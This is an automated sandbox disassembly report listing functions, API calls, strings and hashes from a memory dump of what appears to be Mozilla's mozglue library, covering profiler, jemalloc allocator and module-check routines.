Function 6C58F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C58F09B

Part of subcall function 6C565B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5656EE,?,00000001), ref: 6C565B85
Part of subcall function 6C565B50: EnterCriticalSection.KERNEL32(6C5CF688,?,?,?,6C5656EE,?,00000001), ref: 6C565B90
Part of subcall function 6C565B50: LeaveCriticalSection.KERNEL32(6C5CF688,?,?,?,6C5656EE,?,00000001), ref: 6C565BD8
Part of subcall function 6C565B50: GetTickCount64.KERNEL32 ref: 6C565BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C58F0AC

Part of subcall function 6C565C50: GetTickCount64.KERNEL32 ref: 6C565D40
Part of subcall function 6C565C50: EnterCriticalSection.KERNEL32(6C5CF688), ref: 6C565D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C58F0BE

Part of subcall function 6C565C50: __aulldiv.LIBCMT ref: 6C565DB4
Part of subcall function 6C565C50: LeaveCriticalSection.KERNEL32(6C5CF688), ref: 6C565DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C58F155
GetCurrentThreadId.KERNEL32 ref: 6C58F1E0
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F1ED
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F212
GetCurrentThreadId.KERNEL32 ref: 6C58F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C58F248
GetCurrentThreadId.KERNEL32 ref: 6C58F2AE
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F2BB
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F2F8

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58F350
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F35D
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F381
GetCurrentThreadId.KERNEL32 ref: 6C58F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F3A0
GetCurrentThreadId.KERNEL32 ref: 6C58F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F491

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C58F3CF

Part of subcall function 6C58F070: GetCurrentThreadId.KERNEL32 ref: 6C58F440
Part of subcall function 6C58F070: AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F44D
Part of subcall function 6C58F070: ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C58F4A8
GetCurrentThreadId.KERNEL32 ref: 6C58F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58F561
GetCurrentThreadId.KERNEL32 ref: 6C58F577
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F585
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C58F499
[I %d/%d] profiler_resume, xrefs: 6C58F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C58F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C58F56A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: e63b7341eeb255e285974b0af1601014f39fe63cc5490dc48a4c3c8077a1c17e
Instruction ID: 5757fa3a0d1272adc94aaee08134d91efcac83b9ec25e68748a1f9d3dc341b8f
Opcode Fuzzy Hash: e63b7341eeb255e285974b0af1601014f39fe63cc5490dc48a4c3c8077a1c17e
Instruction Fuzzy Hash: 18D14935705A14DFDB00AF64CC447A977F8EB8A328F11071EE95583B81DB795A04C7AB

Function 6C5564C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5564DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5564F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C556505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C556518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C55652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C55671C
GetCurrentProcess.KERNEL32 ref: 6C556724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C55672F
GetCurrentProcess.KERNEL32 ref: 6C556759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C556764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C556A80
GetSystemInfo.KERNEL32(?), ref: 6C556ABE
__Init_thread_footer.LIBCMT ref: 6C556AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C556AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C556AF7

Strings

detoured.dll, xrefs: 6C5564DA
user32.dll, xrefs: 6C556526
_etoured.dll, xrefs: 6C5564ED
nvd3d9wrap.dll, xrefs: 6C556500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C556798
nvdxgiwrap.dll, xrefs: 6C556513

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: f1390d7a7af8367f53736e275b375d98b411207171f1c2c43718674a45e30037
Instruction ID: 4daf098e7dcc61f42a50f1b58ae39f64b3a54281f4d99c107b7a7cd4842c9c47
Opcode Fuzzy Hash: f1390d7a7af8367f53736e275b375d98b411207171f1c2c43718674a45e30037
Instruction Fuzzy Hash: 05F1E0709057598FDB20CF24CC88B9AB7B4EF46318F5442DAE809A7741EB31AE94CF95

Function 6C56D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C56D904
LeaveCriticalSection.KERNEL32(?), ref: 6C56D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C56D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C56E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C56E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C56E315
AcquireSRWLockExclusive.KERNEL32(6C5CE804), ref: 6C56E37C
GetSystemInfo.KERNEL32(?), ref: 6C56E3C7
__Init_thread_footer.LIBCMT ref: 6C56E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5CE810,00000040), ref: 6C56E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE7B8,00001388), ref: 6C56E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE744,00001388), ref: 6C56E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE784,00001388), ref: 6C56E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE7DC,00001388), ref: 6C56E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE768,00001388), ref: 6C56E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C56E52E
ReleaseSRWLockExclusive.KERNEL32(6C5CE804), ref: 6C56E54F

Part of subcall function 6C55D960: EnterCriticalSection.KERNEL32(?), ref: 6C55D999
Part of subcall function 6C55D960: EnterCriticalSection.KERNEL32(6C5CE7B8), ref: 6C55DA13

Strings

MOZ_CRASH(), xrefs: 6C56E62B
MALLOC_OPTIONS, xrefs: 6C56E3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C56E560, 6C56E58A, 6C56E5A5
<jemalloc>, xrefs: 6C56E61C, 6C56E6CC
Compile-time page size does not divide the runtime one., xrefs: 6C56E621
: (malloc) Unsupported character in malloc options: ', xrefs: 6C56E6DD

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 15bdd53ca5fe4998e65f35664d24665f37613accba48a7b7ddd36f9761f18825
Instruction ID: a4e02565344847b27c9328ff3e37bf125338ecd71c2eb5cad602c185b87dd16d
Opcode Fuzzy Hash: 15bdd53ca5fe4998e65f35664d24665f37613accba48a7b7ddd36f9761f18825
Instruction Fuzzy Hash: CE929071A056018FD714CF2ACC40715BBE1FF86728F298A6DE8699BBA1D771E841CBC1

Function 6C5AC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5AC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5AC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5AC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5AC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C5AC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5ACC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5ACD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5ADB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C5ADB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C5ADB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5ADD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5ADE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C5AE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5AE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C5AE472

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c0a9caf4b85399f492a51cd9a87fe246549c1f5ff985b451013ae2b89bfc3335
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 0F33A071E0021ACFCB04CF99C8806EDBBF2FF89310F294669D955AB755E731A946CB90

Function 6C56ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C56EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C56EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C571695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5716B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C571770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C571A3E

Strings

~qTl, xrefs: 6C56ED13
~qTl, xrefs: 6C56ED10

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qTl$~qTl
API String ID: 3693777188-1719629389
Opcode ID: 4c4d9f521775d1e46f3f83790eb2ead182862651a6e5841510d4ca1521db5ea3
Instruction ID: c76f3113ce54fdc1f2c5385a621d7db9f45d01f0217987f1e194ed7336973b5a
Opcode Fuzzy Hash: 4c4d9f521775d1e46f3f83790eb2ead182862651a6e5841510d4ca1521db5ea3
Instruction Fuzzy Hash: 35B32A71E00219CFCB24CFA9C890A9DB7B2FF89314F1582A9D449AB755D731AD86CF90

Function 6C55FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE7B8), ref: 6C55FF81
LeaveCriticalSection.KERNEL32(6C5CE7B8), ref: 6C56022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C560240
EnterCriticalSection.KERNEL32(6C5CE768), ref: 6C56025B
LeaveCriticalSection.KERNEL32(6C5CE768), ref: 6C56027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C560D67, 6C560D7B, 6C560DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C55FE99, 6C55FEB7, 6C55FED3, 6C560DB8, 6C560DD3, 6C5619B4
<jemalloc>, xrefs: 6C560D62, 6C560D76, 6C560DA7

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 4e63b86edaf6c964a1d35c75b9910a00e32605d62f726206e2f75ce2f0682e5d
Instruction ID: 54ae1480267c9f129db2c270d54703f210bfc5cec63e9093ea9f49a5f75cf8a9
Opcode Fuzzy Hash: 4e63b86edaf6c964a1d35c75b9910a00e32605d62f726206e2f75ce2f0682e5d
Instruction Fuzzy Hash: 58C2AF71A057418FD714CF29C880716BBE1AFC5328F28C76EE4A98BBA5D771E841CB85

Function 6C5AE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C5AE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5AEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5AEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5AEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5AF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5AF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5B0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5B0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B0ED4

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 4724119e4cfbd8ae5b0fc39bf206f48e2a5360c0f6b8629ce0778d4f2bb4512e
Instruction ID: 2b18e55aa2d908780ecd7490baeefaa2323b31afaa4841a65717686502b3cd3e
Opcode Fuzzy Hash: 4724119e4cfbd8ae5b0fc39bf206f48e2a5360c0f6b8629ce0778d4f2bb4512e
Instruction Fuzzy Hash: ED637E71E0025ACFCB04CFA9C99069DFBB2FF89310F29826AD455BB755D730A946CB90

Function 6C583E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C5A7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Xl,?,?,?,6C583E7D,?,?), ref: 6C5A777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C583F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C583F5C
VerSetConditionMask.NTDLL ref: 6C583F8D
VerSetConditionMask.NTDLL ref: 6C583F99
VerSetConditionMask.NTDLL ref: 6C583FA0
VerSetConditionMask.NTDLL ref: 6C583FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C583FB4

Strings

C>Xl, xrefs: 6C583E93
nvinit.dll, xrefs: 6C584479
nvd3d9wrap.dll, xrefs: 6C584466

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Xl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-882508691
Opcode ID: 7e2b4baffda01a8bd50185e4e197c35050bce75a860aad7a7da74a8506260836
Instruction ID: a99cae1dda3f42c9e58682e1d367193e71345f0f3a0712a0658d381492ab9849
Opcode Fuzzy Hash: 7e2b4baffda01a8bd50185e4e197c35050bce75a860aad7a7da74a8506260836
Instruction Fuzzy Hash: F752F371614B889FDB14DF34CC90AABB7E9AF85204F45496DD4928BB42DB34FD09CB60

Function 6C55FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE7B8), ref: 6C55FF81
LeaveCriticalSection.KERNEL32(6C5CE7B8), ref: 6C56022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C560240
EnterCriticalSection.KERNEL32(6C5CE768), ref: 6C56025B
LeaveCriticalSection.KERNEL32(6C5CE768), ref: 6C56027B

Strings

MOZ_CRASH(), xrefs: 6C560CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C55FE99, 6C55FEB7, 6C55FED3, 6C560DB8, 6C560DD3, 6C5619B4, 6C561A10

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0ba448928c5aa29d2ca1a1e5fea3058bbc7d8f8d6fec08eb7c2c6406d60ffa37
Instruction ID: 333c4105bc3449d12cf3b78e491bfe7d3dab31e7ea81841a75de4ac8e3c24236
Opcode Fuzzy Hash: 0ba448928c5aa29d2ca1a1e5fea3058bbc7d8f8d6fec08eb7c2c6406d60ffa37
Instruction Fuzzy Hash: 2EB2A0717057418FD714CF2AC990726BBE1BF85328F28C66DE86A8BBA5D770E840CB45

Function 6C595600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C595CB6
name, xrefs: 6C595E79, 6C595E8F
expected a Count entry, xrefs: 6C595AC3
schema, xrefs: 6C59606D
ProfileBuffer parse error: %s, xrefs: 6C595AC8, 6C595CBB
data, xrefs: 6C596131

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 5d06e22f453311e0936f4effc631c8453f63d2e0ee7bde94ecf8b395cada6b99
Instruction ID: 6c9343b235a5033fa30a13f0ad1e38e2254a9f674c89aef040a0c86fb68468f7
Opcode Fuzzy Hash: 5d06e22f453311e0936f4effc631c8453f63d2e0ee7bde94ecf8b395cada6b99
Instruction Fuzzy Hash: C4924DB1608381CFD724CF18C89079ABBE1BFC5308F548A5DE5999B751DB30E949CB92

Function 6C557810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE744), ref: 6C557885
LeaveCriticalSection.KERNEL32(6C5CE744), ref: 6C5578A5
EnterCriticalSection.KERNEL32(6C5CE784), ref: 6C5578AD
LeaveCriticalSection.KERNEL32(6C5CE784), ref: 6C5578CD
EnterCriticalSection.KERNEL32(6C5CE7DC), ref: 6C5578D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5578E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C55795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5579BB
LeaveCriticalSection.KERNEL32(?), ref: 6C557BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C557C82
LeaveCriticalSection.KERNEL32(6C5CE7DC), ref: 6C557CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C557DAF

Strings

D\l, xrefs: 6C55789F
D\l, xrefs: 6C55787F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D\l$D\l
API String ID: 759993129-859481379
Opcode ID: c42013fc729514191e617bd82b5b987541a780cd3410424899bb047eb3d64a1d
Instruction ID: 106cad2c65a7cdbb342a73af7ae2029d2f505e6732f3a472a0045ca74f9e3d59
Opcode Fuzzy Hash: c42013fc729514191e617bd82b5b987541a780cd3410424899bb047eb3d64a1d
Instruction Fuzzy Hash: 8E029170A116198FDB54CF19CD84799B7B5FF88358F6582AAD809A7700E730BEA0CF84

Function 6C592E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C592ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C592EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C592F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C593214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C593242
